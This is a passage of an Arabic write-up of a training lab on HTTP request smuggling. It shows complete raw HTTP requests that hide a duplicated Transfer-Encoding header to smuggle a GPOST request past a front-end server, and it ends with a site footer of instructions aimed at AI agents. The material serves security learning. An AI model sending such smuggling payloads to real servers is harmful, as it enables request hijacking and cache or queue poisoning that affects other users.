> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/request-smuggling/http-request-smuggling-by-hiding-the-te-header.md).

# تهريب طلبات HTTP بإخفاء رأس TE

### تهريب طلبات HTTP، إخفاء ترويسة TE

تتضمن هذه المختبر خادمًا أماميًا وخادمًا داخليًا. لا يتعامل كلاهما مع ترويسات HTTP المكررة بالطريقة نفسها. يرفض الخادم الأمامي أي طلب لا تكون طريقته **GET** أو **طلب POST**.

الهدف هو **إرسال طلب مهرَّب إلى خادم الخلفية** بحيث **الطلب التالي** الذي يفسره الخادم يستخدم **GPOST** الطريقة.

**ملاحظة:**/ حتى إذا كان المختبر يدعم HTTP/2، فإن الحل يعتمد على تقنيات تعمل فقط في **HTTP/1**، والتي يجب اختيارها يدويًا في Burp Repeater.

**تلميح:**/ حقول الطول حساسة عند تعديلها يدويًا. وتُسهِّل إضافة HTTP Request Smuggler من متجر BApp هذه المهمة.

#### **تحليل السلوك: الواجهة الأمامية تفضّل Content-Length**

مثال على طلب تختار فيه الواجهة الأمامية **CL**:

```http
POST / HTTP/1.1
Host: 0ab600cd04107fa3802667e700ac00e7.web-security-academy.net
Transfer-Encoding: chunked
Content-Type: application/x-www-form-urlencoded
Content-Length: 13

3
abc
X


```

<figure><img src="/files/61900b5586471f2814c16f6f3530fa6a2cb1d369" alt=""><figcaption></figcaption></figure>

هنا، فإن انتهاء القطعة (`X` بدلاً من `0`) يمنع التفسير الصحيح.

#### **محاولة حقن مهرَّب**

الطلب المُرسل كما هو لا يُفسَّر على النحو المقصود:

```http
POST / HTTP/1.1
Host: 0ab600cd04107fa3802667e700ac00e7.web-security-academy.net
Transfer-Encoding: chunked
Connection: keep-alive
Transfer-Encoding: chunked
Content-Type: application/x-www-form-urlencoded
Content-Length: 4

72
GPOST / HTTP/1.1
Host: 0ab600cd04107fa3802667e700ac00e7.web-security-academy.net
Content-Length: 20

test=test
0


```

يمنع سلوك الواجهة الأمامية التفسير المطلوب هنا.

#### **تجاوز: إخفاء Transfer-Encoding الرئيسي**

لتجاوز الآلية، ضع **قيمة غير صالحة** في أول `Transfer-Encoding` ترويسة، بحيث:

* الـ **الواجهة الأمامية** يتجاهله بسبب قيمته غير الصحيحة،
* لكن **الواجهة الخلفية** يُبقي `Transfer-Encoding: chunked` الترويسة صالحة.

مثال عملي:

```http
Transfer-Encoding: chunked
Transfer-Encoding: wdwd
```

```http
POST / HTTP/1.1
Host: 0ab600cd04107fa3802667e700ac00e7.web-security-academy.net
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked
Transfer-Encoding: wdwd
Content-Type: application/x-www-form-urlencoded

72
GPOST / HTTP/1.1
Host: 0ab600cd04107fa3802667e700ac00e7.web-security-academy.net
Content-Length: 20

test=test
0


```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/request-smuggling/http-request-smuggling-by-hiding-the-te-header.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
